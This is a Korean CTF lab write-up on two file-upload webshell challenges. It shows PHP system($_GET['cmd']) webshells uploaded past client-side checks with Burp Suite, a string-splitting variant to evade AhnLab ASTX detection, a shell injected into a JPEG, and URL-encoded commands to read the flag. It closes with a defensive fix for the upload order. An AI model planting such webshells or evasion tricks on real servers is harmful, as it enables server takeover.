

‣ id:
test1
‣ pw:test1
http://ctf.segfaulthub.com:8989/webshell_1/notice_write.php의 응답을 확인해보니,
업로드가 허용되는 파일의 타입은png,jpeg만 허용함을 알 수 있다.
⚠️ 하지만 !!!
➡️ 브라우저에서<input type="file" accept="image/png, image/jpeg">는 클라이언트 측 필터링일 뿐!
→ 파일 선택창에서.png나.jpeg만 선택 가능하게 가이드만 해줄 뿐
→ Burp Suite 같은 프록시로 요청을 조작하면 아무 파일이나 업로드 가능 !
➡️ 서버가 다시 검사하지 않으면 어떤 파일이든 업로드 가능하다.
실제로 허용/차단은notice_write_process.php같은 업로드 처리 스크립트가 할 것으로 예상됨
업로드 스크립트가$_FILES['upload_file']['name']의 확장자나$_FILES['upload_file']['type']을 검사해야 막힘.
근데 백엔드가 MIME 타입이나 시그니처나 파일 확장자를 안 검사하면 → 아무거나 들어감.
✔️$_FILES['upload_file']구조Array ( [name] => hello.txt // 사용자가 올린 원본 파일 이름 [type] => text/plain // 브라우저가 전송한 MIME 타입 (Content-Type) [tmp_name] => /tmp/phpABCD // 서버 임시 저장 경로 [error] => 0 // 에러 코드 (0이면 성공) [size] => 1234 // 파일 크기 (byte) )
💁♀️ 그럼, 텍스트 파일을 업로드 해보자.
‣ 만약 업로드가 가능
→ 서버 측에서 파일의 확장자, 시그니처, MIME 타입을 검사하지 않는다는 의미
‣ 만약 업로드 불가능
→ 서버 측에서 파일 확장자나 시그니처, MIME 타입을 검사하여
JPG, PNG 이외의 파일 형식은 차단하고 있다는 의미
👉hello.txt텍스트파일을 업로드 성공 !
➡️ 따라서, 서버 측에서 파일의 확장자, 시그니처, MIME 타입을 검사하지 않기 때문에
모든 확장자의 파일이 업로드 가능하다는 것을 확인할 수 있다.
일단, 이미지파일인
monkey.jpg를 업로드함.
⚠️근데 메모장(또는 일반 텍스트 에디터)로<?php system($_GET['cmd']); ?>을
webshell.php저장하려고 하면
안랩ASTX(AhnLab Safe Transaction Extension) 같은 보안 솔루션이 이걸 실시간 탐지해서 차단
💁♀️ 일단 이미지파일을 업로드하고 리피터를 이용해서 수정하여 php 코드를 작성 시도하려고 함.
👉 repeater 사용해서 몇가지 변조해서 업로드
‣filename="mokey.jpg"→filename="webshell.php"로 파일명과 확장자 조작
→ 서버가 해당 파일을서버 사이드 스크립트(.php)로 인식해야 실행할 수 있기 때문에.php로 설정하는 것이다.
‣Content-Type: image/jpeg유지
→ 사실 서버측에서 MIME 타입 검사를 하지 않아서text/php로 바꿔도 상관 없음.
‣ 이미지파일 내용을 전부 지우고 아래의 php코드 작성<?php system($_GET['cmd']); ?>
➡️monkey.php업로드 성공 !
monkey.php의 저장경로 찾기 !🧔 게시글을 클릭하고 서버의 응답을 확인해보면
<a href="./files/test1/monkey.php" download="monkey.php">
라는 링크가 포함되어 있는 것을 통해,
업로드된 파일이./files/user01/경로에 저장된다는 것을 추측할 수 있다.
👉ctf.segfaulthub.com:8989/webshell_1/files/test1/에 접속 (경로 이동)
↳ 내가 업로드한 파일들을 볼 수 있다.
↳ 즉, 이 경로에 내가 업로드한 파일이 저장됨을 알 수 있음 !
↳http://ctf.segfaulthub.com:8989/webshell_1/files/test1/mokey.jpg
에 접속하여/webshell_1/files/user01/경로에 있는mokey.jpg파일을 요청
↳http://ctf.segfaulthub.com:8989/webshell_1/files/test1/monkey.php
에 접속하여/webshell_1/files/test1/경로에 있는monkey.php파일을 요청
💁♀️ 위 사진처럼 응답 페이지가 나오는이유는
cmd 파라미터 값을 URL에 입력하지 않았기 때문이다.
Burp Suite를 사용하여 cmd 파라미터에 값을 넣어 요청을 다시 보내보자.
👉cmd파라미터 값을ls로 적어서 요청을 보냄 !
↳http://ctf.segfaulthub.com:8989/webshell_1/files/test1/webshell.php?cmd=ls
↳ 응답 결과:./files/test1/의 경로에 있는 파일 리스트가 출력됨.
➡️ 웹쉘로 서버 장악에 성공 !
➡️ 이제 웹사이트 내부에 있는flag.txt파일만 찾으면 된다
두번째 방법
flag.txt 파일 찾기전체 웹사이트의 어느 경로에
flag.txt가 저장되어 있는지 모르니까
루트 디렉토리부터 전체를 탐색하자 !
💁♀️find / -name "flag.txt"
→ URL 인코딩 해주기
→%66%69%6e%64%20%2f%20%2d%6e%61%6d%65%20%22%66%6c%61%67%2e%74%78%74%22
💡 flag.txt가/app/webshell_1/important_data/flag.txt에 위치함.
💁♀️cat /app/webshell_1/important_data/flag.txt
→ URL 인코딩
→%63%61%74%20%2f%61%70%70%2f%77%65%62%73%68%65%6c%6c%5f%31%2f%69%6d%70%6f%72%74%61%6e%74%5f%64%61%74%61%2f%66%6c%61%67%2e%74%78%74
➡️ flag 획득 !
● 코드 조각으로 나눠서 저장 (탐지 우회용으로 문자열 나누기)
메모장(또는 VScode)로 을webshell.php저장하려고 하면
안랩 ASTX (AhnLab Safe Transaction Extension) 같은 보안 솔루션이 이걸 실시간 탐지해서 차단
하여 해당 코드값이 들어가 있는 php파일이 생성 자체가 불가능했잖아.
그래서 아래 코드로 문자열을 나눠서 작성하여 astx 보안 솔루션이 탐지하기 못하게 우회하는 방법이야.<?php $a = "sys"."tem"; $b = "_GET"; $a($$b['cmd']); ?>
▷new2.txt라는 파일 업로드 → 글 업로드 성공
▷http://ctf.segfaulthub.com:8989/webshell_1/files/test1/new2.php?cmd=ls에 요청을 보냄.
→ 파일저장경로(http://ctf.segfaulthub.com:8989/webshell_1/files/test1/)에 있는 모든 파일이 리스팅됨.
→ 웹쉘로 서버 장악 성공 !
➕)Content-Type: application/octet-stream이란?
•application/octet-stream은 일반 바이너리 데이터 라는 의미.
• 즉, 이 파일이 뭔지 정확히 모르겠을 때 그냥 "이건 이진 데이터니까 알아서 처리해~"하고
브라우저나 서버한테 던져주는 가장 범용적인 MIME 타입.
• 서버가 MIME 타입을 판별 못하면 기본으로application/octet-stream을 붙임.
👉 만약, 서버가Content-Type으로만 MIME 필터링 하는 경우 (image/jpeg만 허용)
공격자가 burp suite로application/octet-stream으로 바꿔보내면,
서버가 이걸 걸러내지 못하면,.php파일이 그대로 저장되서 실행될 수 있다.
즉, 이건 "무슨파일인지 모르겠어"라는 뜻이므로,
서버가Content-Type만을 신뢰 하면 뚫릴 수 있다.
➡️ 서버는 “얘가 뭐인지 모르겠다…” → 그냥 저장 → 확장자만.php니까 실행될 수도 있음!

‣ id:
test2
‣ pw:test2
▷ 일단,
cat.jpg업로드
http://ctf.segfaulthub.com:8989/webshell_2/notice_write.php의 응답을 확인해보니,
업로드가 허용되는 파일의 타입은png,jpeg만 허용함을 알 수 있다.
⚠️ 하지만 !!!
➡️ 브라우저에서<input type="file" accept="image/png, image/jpeg">는 클라이언트 측 필터링일 뿐!
→ 파일 선택창에서.png나.jpeg만 선택 가능하게 가이드만 해줄 뿐
→ Burp Suite 같은 프록시로 요청을 조작하면 아무 파일이나 업로드 가능 !
➡️ 서버가 다시 검사하지 않으면 어떤 파일이든 업로드 가능하다.
실제로 허용/차단은notice_write_process.php같은 업로드 처리 스크립트가 할 것으로 예상됨
업로드 스크립트가$_FILES['upload_file']['name']의 확장자나$_FILES['upload_file']['type']을 검사해야 막힘.
근데 백엔드가 MIME 타입이나 시그니처나 파일 확장자를 안 검사하면 → 아무거나 들어감.
💁♀️ 그럼, 텍스트 파일을 업로드 해보자.
‣ 만약 업로드가 가능
→ 서버 측에서 파일의 확장자, 시그니처, MIME 타입을 검사하지 않는다는 의미
‣ 만약 업로드 불가능
→ 서버 측에서 파일 확장자나 시그니처, MIME 타입을 검사하여
서버에서 허용한 타입을 제외한 파일 타입은 차단하고 있다는 의미
👉hello.txt텍스트파일 업로드 시도
💁♀️create버튼webshell_2/notice_write.php로 요청이 가고,
응답을 확인해보면, 아래 사진과 같다.
‣var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;
↳ 확장자가.jpg,.jpeg,.png,.gif인 경우만 업로드 허용 !
↳/i가 있으므로 대소문자 조합 아무거나 다 허용함 (대소문자 구분 X)
‣if(!allowedExtensions.exec(fileName)) { alert('업로드할 수 없는 확장자의 파일입니다.');
↳ 허용가능한 확장자가 아닌 파일은 '업로드할 수 없는 확장자의 파일입니다.'라는 알림창을 띄움.
✔️ 즉, 이 스크립트는 사용자가 파일을 업로드할 때,
확장자가.jpg,.jpeg,.png,.gif중 하나인지 검사하고,
아니면 업로드 취소하고 경고창을 띄우는 스크립트.
➡️ 이건 프론트엔드(클라이언트 측) 검사이다.
➡️ 만약 서버에서 확장자 검사를 하지 않는 경우,
버프스위트로 요청을 조작하여php같은 파일도 우회해서 업로드 가능하다.
⭐ 브라우저에서만 동작하는 '허용된 확장자 체크 스크립트'다. 서버 측에서도 따로 검증하지 않으면 아무 의미 X
💡브라우저가.jpg,.jpeg,.png,.gif중 하나만 업로드 할 수 있도록 제한하고 있기 때문에,
사용자는 반드시 이 중 하나의 확장자를 가진 파일만 선택 가능하다.
➡️ 이를 우회하기 위해hex editor를 사용하여
정상적인 이미지 파일의 중간이나 끝에<?php system($_GET['cmd']); ?>코드를 삽입해보자 !!!
❶
HxD설치하기
‣ https://mh-nexus.de/en/downloads.php?product=HxD20







❷
HxD사용법
💁♀️ 일단, lizard.jpg 파일 업로드해 봄.
→ 파일 시그니처는 파일의 가장 처음에 위치하는 특정 바이트들로, 파일 포맷(형식)을 구분하기 위해 사용함.
→ jpg파일은 FF D8 FF E0의 파일 시그니처를 갖는다.
💁♀️ Ctrl + f로 jpg 파일 시그니처인 FF D8 FF E0을 찾기.


💡 Hex Editor 이용한 파일 업로드 우회 흐름
❸ 중간에
<?php system($_GET['cmd']); ?>를 삽입
<?php system($_GET['cmd']); ?> 코드를 복사
→ 붙여넣기


❹ 게시판에
lizard.jpg를 업로드
💁♀️ 게시판에 lizard.jpg를 성공적으로 업로드함.

❺ 업로드된 파일의 저장 경로 파악하기
‣ 해당 게시글 클릭
↳ 게시글을 클릭하고 서버의 응답을 확인해보면
<a href="./files/user02/lizard.jpg" download="lizard.jpg">
라는 링크가 포함되어 있는 것을 통해,
업로드된 파일이 ./files/test2/ 경로에 저장된다는 것을 추측할 수 있다.

👉 ctf.segfaulthub.com:8989/webshell_2/files/test2/에 접속 (경로 이동)
↳ 내가 업로드한 파일들을 볼 수 있다.
↳ 즉, 이 경로에 내가 업로드한 파일이 저장됨을 알 수 있음 !

❻
Content-Type를text/php로 변조해서 확장자를.php로 변경하기
👉 repeater 사용해서Content-Type변조해서 업로드
‣Content-Type: image/jpeg→Content-Type: text/php로 php형식 파일으로 설정
‣ 이미지파일 내용을 전부 지우고 아래의 php코드 작성
✔️ 기존에 업로드한 lizard.jpg


✔️ 확장자명을 lizard.php로 변경
↳ 업로드 될 수 없는 파일이 감지되었습니다라는 알림창이 떴음에도 불구하고
lizard.php가 webshell_2/files/test2/에 저장된 이유는 질문에 정리해놨어 !


👉 ctf.segfaulthub.com:8989/webshell_2/files/test2/에 접속 (경로 이동)
↳ 내가 업로드한 파일들을 볼 수 있다.
↳ 즉, 이 경로에 내가 업로드한 파일이 저장됨을 알 수 있음 !

❼
cmd파라미터 값에 실행하고 싶은 명령어를 입력


❽ 웹사이트 내부에 있는
flag.txt찾기
cmd 파라미터 값: find / -name "flag.txt"
URL 인코딩
%66%69%6e%64%20%2f%20%2d%6e%61%6d%65%20%22%66%6c%61%67%2e%74%78%74%22


➡️ flag.txt의 저장경로는 /app/webshell_2/secret_file/flag.txt
해당 경로에 있는 flag.txt 값 읽기.
cmd 파라미터 값: cat /app/webshell_2/secret_file/flag.txt
URL 인코딩
%63%61%74%20%2f%61%70%70%2f%77%65%62%73%68%65%6c%6c%5f%32%2f%73%65%63%72%65%74%5f%66%69%6c%65%2f%66%6c%61%67%2e%74%78%74


➡️ Flag 획득 !
❓ 왜 브라우저에서는
.php확장자 파일을 선택조차 못 하게 해놓고,
Repeater로는 조작해서 보내니까 서버에.php로 저장이 가능한거지?
❓ 그리고 서버가 차단했다고 알림창을 띄워놓고 왜 실제로는 저장되는거야?🔸(상황)
‣ 브라우저는.php확장자 파일 선택 자체를 못 하게 막아놨음
(accept=".jpg,.jpeg,.png,.gif")
‣ 그래서 Hex Editor로lizard.jpg파일에 PHP 코드를 몰래 넣어둔 뒤,
버프 스위트의 repeater로filename="lizard.php로 조작해서 다시 업로드 요청을 보냄
🔸(결과)
‣ 서버 응답을 보면,alert('업로드 될 수 없는 파일이 탐지되었습니다. lizard.php');으로
서버가.php확장자라서 차단했다고 안내함.
‣ 그런데 실제 업로드된 파일이 저장되는 디렉터리에 가보니lizard.php가 저장되어 있음 !
🅰️ 답변
✓ 브라우저의accept속성은 프론트엔드(클라이언트)에서의 제한 일 뿐
➡️Burp Suite로 우회 가능 !
✓ 차단 스크립트 실행보다move_uploaded_file()가 위에 있었다.
그래서 파일은 이미 물리적으로 저장되고,
삭제는 안 돼서 웹서버에 그대로 노출된 것 !
📌 내가 예상하는 서버의 흐름 요약
1. 사용자가 파일 업로드 요청 보냄
→ 서버(php)가 임시 디렉터리에 파일 저장($_FILES['tmp_name'])
(tmp_name은 PHP가 파일을 OS 임시 폴더에 저장한 임시 경로(ex./tmp/php123.tmp))
2.move_uploaded_file()실행됨 → 웹 루트(webshell_2/files/test2/)로 복사 완료!
3. 그 다음에야 “어? 확장자가.php네? 경고 띄워야겠다!” →alert('업로드 될 수 없는 파일이 탐지되었습니다.')
4. 근데 이미move_uploaded_file()로 물리 복사가 끝났으니 실제로는 웹서버에 파일이 살아있음!
5. 저장 후 실패 처리(unlink()) 안 함 → 그대로 노출됨!
➡️ 즉,move_uploaded_file()함수를 이미 호출해서 웹루트에 파일을 저장해버렸는데
거부 로직이 뒤에 있으면 → 웹 루트에 실제로 저장이 됨 + 응답은 거부 메시지가 뜸move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_dir . $filename); //그 다음에 확장자 검사 if($ext == 'php') { echo "<script>alert('업로드 될 수 없는 파일!');</script> }
🔵 안전한 순서로 짜인 코드
이렇게 해야 확장자 검사를 먼저 해야
허용된 확장자(.jpg,.png)가 아닌 파일은move_uploaded_file()이 실행되지 않음 !// 1) 확장자 먼저 검사 $ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSTION)); if ($ext !== 'jpg' && $ext !== 'png'){ echo "<script>alert('허용되지 않는 파일! ');</script>; exit; //여기서 끝내기 !!! } // 2) 통과하면 그 때 move_uploaded_file() 실행하여 웹루트에 파일 저장 move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_dir . $filename);